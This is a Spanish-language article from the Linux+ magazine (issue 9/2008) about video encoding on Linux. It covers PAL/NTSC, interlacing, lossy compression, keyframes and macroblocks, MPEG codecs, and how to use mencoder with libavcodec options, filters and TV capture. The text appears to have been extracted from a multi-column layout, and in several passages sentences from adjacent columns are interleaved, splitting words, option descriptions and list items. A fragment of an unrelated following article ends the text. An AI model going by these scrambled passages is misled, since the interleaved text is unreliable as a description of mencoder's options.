El sistema PAL define que cada cuadro contiene un máximo de 576 líneas entrelazadas que se transmiten a una frecuencia de 25 cuadros por segundo, mientras que el sistema NTSC tiene un máximo de 480 líneas por cuadro a una frecuencia de 29.97 cuadros por segundo. Ninguno de los dos estándares es superior al otro ya que PAL tiene una mayor resolución en cada cuadro, pero tiene menos cuadros por segundo, lo que hace que disminuya la tasa de refresco generando parpadeo debido al uso de un sistema entrelazado.

Tasa de refresco Los sistemas de televisión y cualquier sistema de vídeo opera en base a la transmisión de imágenes sucesivas creando la sensación de movimiento o animación. Mientras más imágenes se transmitan, más difícil es distinguir cada cuadro, por lo tanto se produce la ilusión de movimiento con mayor perfección. En un sistema de televisión a tubos (CRT) la imagen se proyecta en una pantalla que es barrida por un cañón de electrones de arriba a abajo y de izquierda a derecha. Cada punto iluminado de la pantalla debe permanecer encendido por un tiempo suficiente hasta que vuelva a ser iluminado


multimedia Codificación de vídeos en Linux al generar la siguiente imagen, por lo tanto se dice que la imagen de la pantalla es refrescada n veces por segundo, a esta frecuencia se le llama Tasa de Refresco. En sistemas PAL la tasa de refresco es de 50 veces por segundo o 50 hz, en sistemas NTSC la tasa de refresco es cercana a los 60 hz. Si los puntos iluminados no se refrescan adecuadamente se visualizará un parpadeo en la pantalla. Afortunadamente el ojo humano no es capaz de detectar fielmente cuando la imagen comienza a desvanecerse y pareciera que los puntos permanecen más tiempo encendidos. Esto no sucede con las cámaras de vídeo, y es por eso que al grabar en vídeo la imagen de un televisor o un monitor operando a una baja tasa de refresco es posible apreciar como parte de la imagen desaparece y es notorio el parpadeo registrado por la cámara.

Vídeo entrelazado y escaneo progresivo Las imágenes que se transmiten en un sistema de televisión no vienen completas sino que se transmiten en dos partes. Por ejemplo en el sistema PAL que tiene un máximo de 576 líneas a 25 cuadros por segundo, se transmiten solamente la mitad de las líneas (288) en un refresco y luego se transmiten otras 288 líneas en el siguiente refresco. Se puede decir que se transmiten las líneas pares y luego las líneas impares generando una imagen entrelazada (interlaced). Ya que se transmiten 25 cuadros por segundo pero cada cuadro se refresca dos veces, separando las líneas pares de las impares, se alcanza una tasa de refresco de 50hz. Este sistema tiene algunos inconvenientes, por ejemplo si existe una línea perfectamente horizontal que ocupe sólo una línea física ya sea par o impar, ésta se refrescará sólo 25 veces por segundo y será notorio su parpadeo. Esto que no era problema con las transmisiones análogas en donde la probabilidad de capturar una imagen perfecta era bajísima, sí es un problema cuando se transmiten imágenes generadas por un computador u otro sistema digital (DVD/VCD). Los sistemas de televisión modernos basados en LCD o en Plasma no operan en base a un cañón que barre la pantalla, sino que en base a una serie de puntos que se iluminan en forma independiente, por lo tanto no existe la necesidad de refrescar la pantalla. En estos sistemas la imagen permanece hasta que cada punto recibe la instrucción de cambiar de color y se hace innecesario el barrido o escaneo por líneas, al mismo tiempo se hace innecesario el uso de un sistema entrelazado. En estos nuevos sistemas la imagen se puede generar en forma completa de una sola vez y se conoce como Escaneo Progresivo o

Progressive Scan. Aparatos digitales como un reproductor de DVDs o una consola de videojuegos permiten utilizar esta modalidad en vez del tradicional modo entrelazado. Esto soluciona el problema de líneas horizontales que parpadean, mejorando el despliegue de texto, imágenes rectangulares o imágenes en movimiento horizontal. En la Figura 1 se puede ver un ejemplo en donde se genera una imagen a partir de dos cuadros con sus líneas entrelazadas. En un sistema con Escaneo Progresivo, la imagen de abajo se genera directamente. Existe un consenso para identificar un modo de vídeo especificando si es entrelazado (i = interlaced) o progresivo (p = progressive), por ejemplo NTSC estándar es 480i, PAL estándar es 576i, NTSC progresivo es 480p, PAL progresivo es 576p. Con los nuevos sistemas de televisión aparecen modos de alta resolución como 768p, 1080i y en algunos casos 1080p.

Compresión de vídeo

Los algoritmos de compresión eliminan la redundancia de información utilizando diversas técnicas, algunas muy sencillas como reducir un conjunto de datos repetidos a un par de valores (valor repetido y número de repeticiones) y otras técnicas más complejas como reemplazar un conjunto de datos por la función que los genera. Un ejemplo muy rudimentario de compresión es el presentado en la Tabla 1.

El primer ejemplo comprime datos repetidos desde un conjunto original de 20 valores a sólo 8 valores que se interpretan como: 2 (3 veces), 3 (5 veces), 4 (4 veces) y 5 (8 veces). La tasa de compresión es la cantidad de datos originales comparada con la cantidad de datos resultantes, en este caso la tasa de compresión obtenida fue de 2,5:1. El segundo ejemplo comprime los datos expresándolos como un par de funciones. En este ejemplo se convierte un conjunto original de 18 valores a sólo 6 valores que se interpretan como: inicia en dos, avanza 1 en cada iteración, repite 8 veces, luego inicia en 12, avanza 2 en cada iteración, itera 10 veces. En este caso la tasa de compresión obtenida fue de 3:1. En este simple ejemplo se pueden ver otras características de la compresión como por ejemplo, que un algoritmo de compresión será efectivo dependiendo de la naturaleza de los datos de origen y mientras más relaciones se puedan establecer entre los datos, mayor es la redundancia de información que se puede eliminar. En estos ejemplos, cuando se descomprimen los datos se puede representar exactamente el conjunto de datos originales, pero no siempre es así. Hay casos en que no es necesario que el resultado sea exactamente igual al conjunto original porque las diferencias no son perceptibles. El primer caso se conoce como compresión sin pérdida o Loseless Compression y se

Tabla 1. Ejemplo de compresión Datos Originales

Versión comprimida

2,2,2,3,3,3,3,3,4,4,4,4,5,5,5,5,5,5,5,5

2,3, 3,5, 4,4, 5,8

2,3,4,5,6,7,8,9,12,14,16,18,20,22,24,26,28,30

2,1,8, 12,2,10

Figura 1. Generación de vídeo con líneas entrelazadas

www.lpmagazine.org

69


multimedia Codificación de vídeos en Linux utiliza para comprimir información, programas ejecutables o cualquier otro conjunto de datos que no puede ser alterado, un ejemplo de este tipo de compresión es el algoritmo Lempel-Ziv que utilizan el formato ZIP. El segundo caso corresponde a compresión con pérdida o Lossy Compression y se utiliza para comprimir información en donde un resultado diferente al conjunto original es indistinguible, se utiliza para comprimir audio, imágenes, vídeo, etc. Por ejemplo un píxel originalmente negro que se transforma en gris casi negro no es distinguible en una imagen de millones de píxeles. Ejemplos de este tipo de compresión son muy populares : JPG, MP3 y por supuesto MPEG en vídeo. En una compresión con pérdida se aprovecha el hecho de que el ser humano no percibe todos los estímulos de la misma forma, por ejemplo el ojo humano es menos sensible a cambios de colores en comparación a los cambios en luminosidad, por lo tanto se puede descartar información que describe cambios de colores para priorizar cambios en luminosidad. En cuanto al sonido, la compresión MP3 se basa en el hecho de que algunos sonidos no se pueden distinguir en presencia de otros sonidos, por lo tanto los primeros se pueden descartar. En la Figura 2 se puede ver una imagen que se ha comprimido con pérdida ajustando el nivel de calidad desde la mejor en la izquierda, a la peor calidad en la derecha. Para entender la compresión de vídeo es conveniente primero entender la compresión de imágenes. En un algoritmo de compresión como JPG se transforma la imagen desde la re-

presentación RGB (Red, Green, Blue) a una representación YCbCr (Luminosidad, Croma b y Croma r), con esta separación es posible tratar de distinta forma la información de luminosidad respecto a la de color (croma) de acuerdo a la sensibilidad del ojo humano. Luego se divide la imagen en pequeños bloques, por ejemplo de 16x16 y por cada componente (Y, Cb y Cr) se calculan los parámetros de una función capaz de representar los datos que están en cada bloque. Por lo tanto cada bloque queda resumido en un conjunto de parámetros que sirven para reconstruir algo similar al bloque original, pero no necesariamente igual. La compresión de vídeo es muy similar pero agrega una tercera dimensión: el tiempo. En una secuencia de vídeo cada vez que hay un cuadro similar al anterior existe redundancia de información que se puede eliminar, por ejemplo se puede generar el segundo cuadro a partir del primero aplicando pequeños cambios. Por ejemplo al capturar la escena de un automóvil cruzando al lado de un lago, el fondo y el lago pueden estar fijos o variar muy poco, mientras que la imagen del auto se va desplazando pero sigue siendo el mismo auto con pequeñas variaciones en cada cuadro. En la compresión de vídeo se toma un cuadro clave (keyframe) y se comprime de una forma similar al algoritmo JPG, luego se toma el siguiente cuadro y se buscan las similitudes entre éste y el cuadro clave, similar a lo que se muestra en la Figura 3. Para buscar las similitudes se utilizan los bloques de 16x16 del keyframe, que en este contexto se conocen como macro bloques

Listado 1. Lista de codecs de vídeo disponibles fcatrin@shaman:~$ mencoder -ovc help MEncoder 2:1.0~rc2-0ubuntu1~gutsy1 (C) 2000-2007 MPlayer Team CPU: Intel(R) Core(TM) Duo CPU

T2300

@ 1.66GHz (Family: 6, Model:

14, Stepping: 12) CPUflags: Type: 6 MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1

(macroblocks), el codificador busca la nueva ubicación de cada macroblock en el segundo cuadro. Utilizando el ejemplo del automóvil y el lago, los macroblocks del lago permanecerán casi en la misma posición mientras que los macroblocks del automóvil se desplazarán. Por cada macroblock se determina un vector de movimiento (motion vector) para indicar su nueva posición y una vez establecida esta posición se calcula la diferencia entre los macroblocks del nuevo cuadro respecto a los del keyframe. Este cálculo se hace sobre los componentes YCbCr por lo tanto nuevamente se puede priorizar la información que se puede descartar. El cuadro generado se conoce como p-frame (Predicted Frame). En una secuencia de vídeo aparecen keyframes seguidos por p-frames. Se necesitan nuevos keyframes cuando hay un cambio brusco en la imagen o cuando se hace complejo seguir generando p-frames. En comparación, un p-frame puede ocupar menos de la mitad de información necesaria para guardar ese mismo cuadro como keyframe. Mientras menos cambios existan entre cuadro y cuadro, menor es la cantidad de keyframes necesarios y por lo tanto mayor es la tasa de compresión. Escenas como explosiones, bandadas de pájaros o luces estroboscópicas necesitan más keyframes reduciendo la tasa de compresión debido a que se necesita más información para generar los cuadros con una calidad aceptable. El algoritmo de compresión a veces se hace evidente cuando se pierde un keyframe, a veces sucede con la televisión vía cable o satélite digital y se puede ver como los macroblocks se van moviendo y redefiniendo hasta que llega el siguiente keyframe y restaura la imagen. Si la cantidad de bits utilizados para generar la imagen no es suficiente, también se podrán visualizar los macroblocks porque no serán capaces de reconstruir el detalle de la imagen original, tal como se muestra en la Figura 4.

Compiled with runtime CPU detection. Available codecs: copy

- frame copy, without re-encoding. Doesn't work with filters.

frameno

- special audio-only file for 3-pass encoding, see DOCS.

raw

- uncompressed video. Use fourcc option to set format

explicitly.

70

nuv

- nuppel video

lavc

- libavcodec codecs - best quality!

vfw

- VfW DLLs, read DOCS/HTML/en/encoding-guide.html.

qtvideo

- QuickTime DLLs, currently only SVQ1/3 are supported.

libdv

- DV encoding with libdv v0.9.5

xvid

- XviD encoding

x264

- H.264 encoding

Figura 2. Ejemplo exagerado de compresión con pérdida

Linux+ 9/2008


multimedia Codificación de vídeos en Linux Algoritmos más complejos agregan un nuevo tipo de cuadro llamado intraframe o bframe. Estos cuadros utilizan como referencia un p-frame anterior y un p-frame posterior para generar la imagen. Al aplicar un algoritmo de compresión se reduce la cantidad de bits que se necesitan por cada cuadro, esto significa que a la hora de reproducir un vídeo en tiempo real se necesitan menos bits por segundo, reduciendo la tasa de transferencia necesaria. Los algoritmos de compresión tratan de reducir esta tasa disminuyendo la cantidad de bits que se necesitan para formar cada imagen mediante el uso de p-frames y b-frames, además disminuyen astu-

tamente la cantidad de bits necesarios para representar cada macroblock gracias a la separación en campos para priorizar aquellos cambios que son más sensibles para el ojo humano. La reducción de bits que se requieren para expresar cada macroblock se conoce como cuantización (quantization). La tasa de transferencia objetivo dependerá del medio que se utilizará para reproducir el vídeo, por ejemplo un DVD puede usar tasas de 4Mbps (4 Megabits por segundo = 4 millones de bits por segundo). En cambio, una transmisión en directo por Internet está restringida al ancho de banda de la conexión que probablemente será menor a 4Mbps, por lo

tanto se utilizará una compresión más agresiva para reducir la cantidad de bits necesarios, por ejemplo disminuyendo la resolución de cada cuadro, eliminando más información de color, transmitiendo menos keyframes o reduciendo la cantidad de cuadros por segundo.

CODECS y formatos de archivo

Cuando se trata de codificación de audio y vídeo se habla del par Codificador/Decodificador o Coder/Decoder, abreviado como CODEC. Entre los estándares de codec de vídeo se encuentran: MPEG-1, MPEG-2 o H.263, y entre los codec de audio se encuentran: AC3, MPEG Layer II o MPEG Layer III conocido ampliamente como MP3. Para poder decodificar un flujo de datos de audio o vídeo se requiere tener un CODEC que sea capaz de interpretarlo. El flujo de datos o bit stream se almacena dentro de un archivo que tiene su propio formato. Por ejemplo existe el formato AVI (Audio Video Interleaved) de Microsoft y el VOB (Vídeo OBject) que utilizan los DVD. Lamentablemente los formatos de archivo no soportan toda la combinación de CODECs posibles y se deben respetar ciertas combinaciones para asegurar que el vídeo se pueda reproducir sin problemas en cualquier lugar.

CODECs de audio/vídeo Entre los codecs de vídeo más utilizados se encuentran los de MPEG (Motion Picture Expert Group), prácticamente todos los reproductores de vídeo caseros tienen soporte para las distintas versiones de MPEG: •

Figura 3. Detección de cambios entre cuadro y cuadro

Figura 4. Compresión de baja calidad en donde se evidencian los macroblocks

www.lpmagazine.org

MPEG-1: fue creado con el objetivo de almacenar vídeo en discos compactos. Es el formato utilizado por los VCD (Vídeo Compact Disc). Almacena el vídeo en formato progresivo solamente con los siguientes modos: • NTSC : 352x240 a 29.97 cuadros por segundo, • PAL : 352x288 a 25 cuadros por segundo.

Para convertir un vídeo de televisión a MPEG-1 necesariamente se debe deshacer el entrelazado para generar un formato progresivo, reduciendo el número de cuadros por segundo para tener información suficiente al aplicar el algoritmo de desentrelazado (deinterlace). MPEG-1, además, define la forma de codificar el audio, en donde se puede utilizar: MPEG Audio Layer I, MPEG Audio Layer II (mp2) o MPEG Audio Layer III (el popular mp3). MPEG-2: es una evolución de MPEG-1 en donde se quitan algunas restricciones. Tiene

71


multimedia Codificación de vídeos en Linux soporte para vídeo entrelazado y define varios de distintos orígenes, desde codecs libres hasta perfiles y niveles para definir características del codecs propietarios en formato binario DLL de vídeo resultante, por ejemplo: Windows (Dynamic Load Library). Mplayer distribuye un pack de codecs que se copian • Main Profile, Main Level (MP@ML): se en un directorio del sistema de archivos y al refiere a una resolución de 720x480 a 30 ejecutarlo en Linux carga automáticamente cuadros por segundo para vídeo NTSC las bibliotecas nativas de codecs o las bibliocon una tasa de transferencia típica de tecas de Windows que se necesiten, ambas 4Mbit por segundo hasta un máximo de 15 incluidas en el pack de codecs. Mencoder es Mbit por segundo. un codificador de vídeo basado en Mplayer. • Main Profile, High Level (MP@HL): se Tal como dice el manual, si mplayer es capaz refiere a una resolución de 1920x1152 a de reproducir un vídeo, entonces mencoder es 30 cuadros por segundo para vídeo HDTV capaz de codificarlo. Las fuentes de vídeo para con una tasa de transferencia típica de mplayer y mencoder pueden ser tan diversas 15Mbit por segundo hasta un máximo de como: Televisión, VCD, SVCD, DVD, DivX, 80 Mbit por segundo. Windows Media Video (WMV), Real Video, • MPEG-2: se utiliza para codificar DVDs, Streaming de vídeo en varios formatos, etc. televisión satelital, cable digital, etc. Per- En cuanto a la fuente de Televisión, en realidad mite múltiples flujos de audio con distintos se refiere a cualquier dispositivo de entrada de codecs, por ejemplo se puede incluir un vídeo soportado en Linux, puede ser una tarjeta flujo mp2 para reproducción en stereo (2 de captura de televisión, una webcam, etc. Si canales) además de un flujo AC3 para re- se utiliza una tarjeta de captura de televisión se producción en suround (5+1 canales). Un agregan fuentes de vídeo compuesto o super reproductor de DVDs tiene la capacidad de vídeo como una cámara de vídeo Hi8, un VHS, seleccionar el flujo de audio a utilizar para cámaras de vigilancia, etc. soportar múltiples lenguajes y distintas Cuando se codifica un vídeo con mencoconfiguraciones de altavoces. der, se toma cualquier fuente que sea capaz de • MPEG-4: existen varias versiones de reproducir mplayer, se procesa con los respecMPEG-4. Uno de los codecs más po- tivos codecs, se aplican filtros de subproceso y pulares de MPEG-4 es el DivX, varios luego se vuelve a codificar el resultado con el fabricantes incluyen soporte de este codec codec que se desee. Se puede ver un esquema en reproductores de DVD caseros. Puede de cómo mencoder procesa el vídeo en la Filograr resultados superiores a MPEG-2 gura 5. con una baja tasa de transferencia.

Mplayer / Mencoder

Uso de mencoder

• •

Origen del vídeo: Indica desde donde capturar el vídeo o desde qué archivo se debe obtener. Nombre del archivo destino: Se utiliza para definir el formato de archivo resultante, por ejemplo AVI. Codec de Audio: Indica el codec a utilizar para la compresión de audio. Codec de Vídeo: Indica el codec a utilizar para la compresión de vídeo.

Debido a las limitaciones de cada formato de archivo y sus reproductores, algunas combinaciones de codecs de audio y vídeo se podrán reproducir con mplayer en Linux, pero no en otros reproductores como Windows Media Player o reproductores de DVD caseros. Dependiendo del codec utilizado, se deben especificar algunos parámetros adicionales como el bitrate a utilizar, el tipo de compresión, etc. El formato general es: mencoder [fuente] -o [destino] -oac [audio codec] -ovc [video codec] [opciones] Se pueden ver los codecs disponibles especificando help como el nombre del codec. El Listado 1 muestra los codecs de vídeo disponibles y el Listado 2 muestra los codecs de audio disponibles. Por ejemplo para simplemente convertir un vídeo mpeg a formato avi se puede utilizar el siguiente comando: mencoder original.mpg -o destino.avi -oac copy -ovc copy

Mencoder es una utilidad que opera por línea Codificación con Mplayer es un reproductor multimedia que es de comandos y necesita al menos los siguientes mencoder usando libavcodec capaz de utilizar una gran cantidad de codecs parámetros: El ejemplo anterior no recodifica el vídeo, solamente cambia el formato del archivo que lo contiene. Ya que existen muchos codecs Archivo Televisión Camara Stream que se pueden utilizar, cada uno con una gran cantidad de opciones, nos enfocaremos en los más utilizados. Libavcodec es una biblioteca de codecs pamencoder ra codificar audio y vídeo con licencia LGPL. Es parte del proyecto ffmpeg y es utilizado por una gran cantidad de aplicaciones como el Codec Audio / Video editor de vídeo Cinelerra, la aplicación de vídeo conferencia Ekiga, Gstreamer, mencoder y por supuesto ffmpeg. Libavcodec implementa una Filtros de PostProceso impresionante cantidad de codecs, aunque no todos ellos se pueden utilizar para codificar vídeo, sólo decodificar, es el caso de codecs proCodec Audio / Video pietarios como Sorenson SVQ3 (QuickTime) y Windows Media Video 9 (WMV9). Entre los codecs que se pueden utilizar paArchivo ra codificar se encuentran MPEG-1, MPEG-2 y MPEG 4 en vídeo y AC-3, MP2 y MP3 en el Figura 5. Etapas de codificación con mencoder caso de audio. En el caso de MP3, la decodifi-

72

Linux+ 9/2008


multimedia Codificación de vídeos en Linux cación es parte de libavcodec, pero para codifi- • car se apoya en Lame. Para codificar audio y vídeo con libavcodec • se debe utilizar una línea como la siguiente: •

flv: Sorenson H.263 utilizado en Flash Video (el mismo que utiliza YouTube). h263: H.263. libtheora: Theora. Es un codec abierto y libre de royalties, parte del proyecto OGG. mpeg1video: MPEG-1. mpeg2video: MPEG-2. mpeg4: MPEG-4 (DivX 4/5). msmpeg4: DivX 3. Es un codec de Microsoft previo a la estandarización de MPEG-4.

• • • Por omisión libavcodec utilizará MPEG-4 • para vídeo y MP2 para audio. Estos codecs se pueden cambiar y se incluye una gran cantidad de parámetros que se pueden modificar para Opción vhq intentar mejorar la compresión. Habilita un modo que intenta obtener una alta Todos los codecs seleccionados con oac calidad, pero necesita más procesamiento para y ovc se pueden configurar con el parámetro codificar. Es una abreviatura para Very High <codec>opts por ejemplo lavcopts, faacopts, Quality, lo que hace es codificar los macrobloclameopts, etc. ks en varios modos para escoger el mejor, es prácticamente codificar muchas veces y selecOpciones para codificación cionar la mejor opción en base a los resultados. mencoder original.mpg -o destino.avi -oac lavc -ovc lavc

otros tipos de frames (b/p) pero al aumentar su frecuencia se evita acumular muchos errores al decodificar. Por otra parte, las búsquedas al avanzar o retroceder se realizan en base a los keyframes, cambiar su frecuencia influye en la precisión para acceder a una parte específica del vídeo con exactitud. En MPEG-1 y MPEG-2 es común usar valores menores a 30, es decir, más de un keyframe por segundo.

Opción vbitrate

Indica la tasa de transferencia del vídeo en bits por segundo. Se entiende que 1Kbit/s son 1000 bits por segundo mientras que 1Mbit/s son 1.000.000 bits por segundo. Al especificar esta tasa con valores menores a 16.000 se entiende como Kbit/s y sobre 16.000 como bits/s. Por ejemplo vbitrate=32 indica 32 Kbit/s mientras que vbitrate=20000 indica 20.000 bits/s, de vídeo en libavcodec equivalente a 20Kbits/s. El valor por omisión A continuación se mostrarán varias opciones Opción keyint en libavcodec es 800Kbits/s. Como referencia, para codificación de vídeo. Indica cada cuantos frames se fuerza un keyfra- VCD utiliza 1.5Mbit por segundo, y se especime. La documentación dice que en MPEG-4 es ficaría como vbitrate=1500. Opción vcodec recomendable un keyframe al menos cada 10 Selecciona el codec de vídeo a utilizar, por segundos, en el caso de un vídeo PAL esto se Opción vpass omisión es MPEG-4. Algunas opciones inte- traduce en 250 frames y es el valor por omi- Ya que la compresión de vídeo se basa en busresantes son: sión. Un keyframe ocupa más espacio que los car similitudes y descartar información con un criterio estadístico, se puede ejecutar el comListado 2. Lista de codecs de audio disponibles presor en varias iteraciones para recolectar esta fcatrin@shaman:~$ mencoder -oac help información estadística y luego aprovecharla MEncoder 2:1.0~rc2-0ubuntu1~gutsy1 (C) 2000-2007 MPlayer Team para mejorar la toma de decisiones al compriCPU: Intel(R) Core(TM) Duo CPU T2300 @ 1.66GHz (Family: 6, Model: mir. Al usar vpass=1 se generará un archivo de 14, Stepping: 12) estadísticas, para codificar el vídeo utilizando CPUflags: Type: 6 MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1 esa información generada, se vuelve a codificar Compiled with runtime CPU detection. el vídeo con la opción vpass=2. Otra estrategia es generar el archivo de esAvailable codecs: tadísticas con vpass=1 y luego aplicar vpass=3 copy - frame copy, without re-encoding (useful for AC3) para codificar el vídeo en base a las estadísticas pcm - uncompressed PCM audio generadas, esta vez generando nuevas estadísmp3lame - cbr/abr/vbr MP3 using libmp3lame ticas. Luego se puede repetir cuantas veces se lavc - FFmpeg audio encoder (MP2, AC3, ...) desee la codificación con vpass=3, generando twolame - Twolame MP2 audio encoder cada vez más información estadísticas para faac - FAAC AAC audio encoder mejorar la compresión. Otros parámetros más avanzados permiten cambiar el comporListado 3. Parámetros que se pueden utilizar con el filtro crop tamiento de los algoritmos de cuantización, fcatrin@shaman:~/tmp/encoder$ mencoder -vf crop=help estimación de movimiento (motion estimation), MEncoder 2:1.0~rc2-0ubuntu1~gutsy1 (C) 2000-2007 MPlayer Team factores que reducen información de acuerdo a CPU: Intel(R) Core(TM) Duo CPU T2300 @ 1.66GHz (Family: 6, Model: la sensibilidad del ojo, funciones de compara14, Stepping: 12) ción de macroblocks, etc. CPUflags: Type: 6 MMX: 1 MMX2: 1 3DNow: 0 3DNow2: 0 SSE: 1 SSE2: 1 Compiled with runtime CPU detection. Name

Type

Min

Max

w

Integer

0

No

h

Integer

0

No

x

Integer

-1

No

y

Integer

-1

No

www.lpmagazine.org

Opciones para codificación de audio en libavcodec A continuación se mostrarán varias opciones para codificación de audio.

Opción acodec Selecciona el codec para codificar el audio. Por omisión es MPEG Layer 2 o MP2. Algunas opciones son:

73


multimedia Codificación de vídeos en Linux • • •

ac3: Dolby Digital (AC-3). flac: Free Lossless Audio Codec (FLAC). libmp3lame: MPEG-1 audio layer 3 o MP3 a través del codec Lame. vorbis: Es un codec abierto y libre de royalties, parte del proyecto OGG.

Opción abitrate Selecciona la tasa de transferencia del audio. El valor por omisión es de 224 Kbits/s. MP3 genera buenos resultados con 128 Kbits/s pero para aquellos oídos exigentes es recomendable utilizar valores como 192 Kbits/s o superiores. Para audio de baja calidad se puede ahorrar espacio especificando valores bajos como por ejemplo 65Kbits/s.

Ejemplo de codificación

El siguiente ejemplo utiliza libavcodec para codificar el vídeo demo.m4v a test.avi con las siguientes opciones: Vídeo: DivX3, 1.5Mbit/s. Alta calidad y keyframes cada 200 cuadros. Audio: MPEG-1 layer 3 (MP3) a 128 Kbit/ s: mencoder demo.m4v -o test.avi -

• •

ovc lavc -oac lavc -lavcopts vcodec =msmpeg4:vbitrate=1500:vhq:keyint =200:abitrate=128:acodec=libmp3l ame

Otras opciones de mencoder

a partir del segundo 33, del minuto 12 después • de la primera hora. • •

Opción endpos

Detiene el procesamiento una vez que transcurre el tiempo especificado. Por ejemplo si se quiere codificar sólo un minuto y medio de vídeo se puede utilizar la opción -endpos 1:30. El tiempo siempre se considera a partir del inicio del procesamiento. Usando el ejemplo anterior, si el vídeo se procesa desde el principio, terminará efectivamente en la posición 1:30, pero si se utiliza la opción -ss 1:15, se terminará en la posición 2:45.

En este caso hay sólo dos entradas disponibles: vídeo compuesto (0) y s-video (1). Por ejemplo, para capturar desde vídeo compuesto se debe utilizar input=0

Captura de televisión u otra fuente externa de vídeo

Opción channel

No solamente se pueden codificar archivos de vídeo, también se puede capturar la señal de vídeo desde un dispositivo externo, sólo se requiere que sea compatible con Video 4 Linux (V4L) o Video 4 Linux 2 (V4L2). Con una tarjeta capturadora de televisión se puede codificar vídeo desde la señal pública (antena), televisión por cable, reproductores VHS, etc. Otros dispositivos de vídeo como webcams también utilizan V4L(2). En vez de usar un nombre de archivo se puede especificar tv:// o tv://número de canal si se va a capturar televisión desde cable o antena.

A continuación se mostrarán otras opciones de Opción input mencoder. Las tarjetas capturadoras de vídeo tienen varias entradas, con esta opción se puede seleccionar Opción ss desde qué entrada se procesará el vídeo: antena, Permite partir desde una posición específica ex- s-video, vídeo compuesto, etc. Al ejecutar menpresada en unidades de tiempo. Por ejemplo - coder o mplayer con tv:// indicará las entradas ss 1:12:33 hará que el vídeo origen se procese disponibles. Por ejemplo:

• • • •

• •

74

Opción norm Especifica la norma de televisión a utilizar. Típicamente PAL, NTSC o SECAM. Dispositivos V4L2 pueden manejar otras normas y se verán en el log al ejecutar mplayer o mencoder.

Indica el número de canal a sintonizar.

Opciones brightness, contrast, hue y saturation Permiten ajustar los colores, brillo y contraste de la señal. Cada parámetro permite valores desde -100 a 100 con centro en 0.

Opción amode Modo de audio: mono, stereo o lenguajes alternativos.

Subtítulos

Al momento de codificar un vídeo se pueden agregar subtítulos. Tal como se dijo en un principio, si mplayer lo puede reproducir, entonces mencoder lo puede codificar. Como mplayer soporta agregar subtítulos a la imagen, éstos pueden formar parte del nuevo archivo de vídeo. Un ejemplo sería agregar subtítulos a un VCD como parte del vídeo. Mencoder tratará de cargar los subtítulos automáticamente si se

Sobre el autor

En la red •

Inputs: 2 0: Composite: (tuner:0, norm:auto) 1: S-Video: (tuner:0, norm:auto)

Mplayer http://www.mplayerhq.hu/design7/news.html Wikipedia: Video Compression http://en.wikipedia.org/wiki/Video_compression Data Compression Basics http://dvd-hq.info/data_compression_3.php MPEG-1 y MPEG-2 Compression http://mia.ece.uic.edu/~papers/WWW/MultimediaStandards/chapter7.pdf Tabla de formatos de compresión http://es.wikipedia.org/wiki/Anexo:Tabla_de_formatos_de_compresi%C3%B3n_multimedia MPEG1 vídeo codec http://www.cmlab.csie.ntu.edu.tw/cml/dsp/training/coding/mpeg1/ MPEG-2 standard http://www.chiariglione.org/MPEG/standards/mpeg-2/mpeg-2.htm

Linux+ 9/2008

Franco Catrín Leiva es Ingeniero de Ejecución Informático de la Universidad Técnica Federico Santa María (Chile) y actualmente se desempeña en el área de I+D de TUXPAN Software S.A., especializándose en el área de Arquitectura de Software. Participa activamente en la difusión de Linux y Software Open Source a nivel nacional, siendo expositor en 5 ediciones del Encuentro Nacional de Linux, e invitado frecuente a conferencias de Linux por todo el país. Fue especialista de Linux durante 3 años en dos programas de tecnología del canal de televisión UCV-TV. Su bitácora personal está en http://www.tuxpan.com/ fcatrin


multimedia Codificación de vídeos en Linux encuentran disponibles junto al vídeo, o bien se puede usar la opción -sub para especificar el nombre del archivo de subtítulos. Mencoder tiene una gran cantidad de opciones para mejorar el despliegue de subtítulos, desde el tipo de font (subfont) hasta el borde, transparencia, etc.

Filtros de vídeo

Uno de los aspectos más interesantes de la compresión de vídeo es poder aplicar filtros para mejorar el resultado, hay filtros que permiten suavizar la imagen en caso de que la fuente no sea muy buena, aplicar distintos algoritmos de desentrelazado, ajustar los colores, cambiar el tamaño, balancear la luminosidad y contraste, recortar los bordes, etc. Para agregar filtros a la cadena de procesamiento se utiliza el parámetro -vf (video filter) con la lista de filtros y sus respectivos parámetros. El siguiente ejemplo cambia el tamaño del vídeo a 320x240 píxeles: mencoder [opciones] -vf scale=320:240

Cada filtro tiene la opción help para obtener una ayuda acerca de los parámetros que sopor-

ta. Por ejemplo el Listado 3 muestra la ayuda • eq y eq2: Ecualizadores de color, luminodel filtro crop. sidad y contraste. • unsharp: Suaviza la definición de la imaAlgunos filtros interesantes son: gen aplicando un filtro gaussiano. • 2xsai: Otro suavizador de imagen vía in• crop: Recorta un área del vídeo y descarta terpolación. el resto, por ejemplo para descartar bordes • delogo: Intenta eliminar un logo estático negros. en la imagen, es útil para remover logos de • cropdetect: Intenta detectar los bordes y canales de televisión. recortarlos automáticamente. • rectangle: Dibuja un rectángulo, sirve para Conclusiones calcular el área antes de aplicar crop. Codificar vídeos no es tan complejo cuando se • expand: Cambia el tamaño de la imagen tienen en cuenta los conceptos básicos como sin ampliarla, puede servir para agregar bitrates, codecs a utilizar, etc. Mencoder puede bordes negros y poner los subtítulos en esa usar valores por omisión bastante acertados, área. además es suficientemente flexible como para • scale: Amplía o reduce el tamaño de la que el usuario pueda realizar ajustes. Con los imagen. conocimientos que se introducen en este artí• pp: Activa los filtros de subproceso. Estos culo es posible sacrificar tamaño por calidad o filtros ayudan a mejorar la imagen con dis- viceversa, por ejemplo al aumentar el número tintas técnicas, por ejemplo suavizando el de bits por segundo mejorando la calidad pero resultado, ajustando automáticamente luz reduciendo la portabilidad. Existen varios fronty contraste, aplicando desentrelazado, etc. ends para mencoder y otros codificadores como • denoise3d: Este filtro permite eliminar el ffmpeg que no se presentaron en este artículo, si ruido mejorando en especial la calidad de bien sirven para facilitar la compresión para los la imágenes estáticas. Al reducir el ruido usuarios novatos, nunca tendrán la flexibilidad hace que el compresor sea más eficiente. de la línea de comandos. P

U

B

L

I

C

I

D

A

D


práctica Aumentando nuestra creatividad

Aumentando nuestra creatividad Diego Germán González

linux@software.com.pl

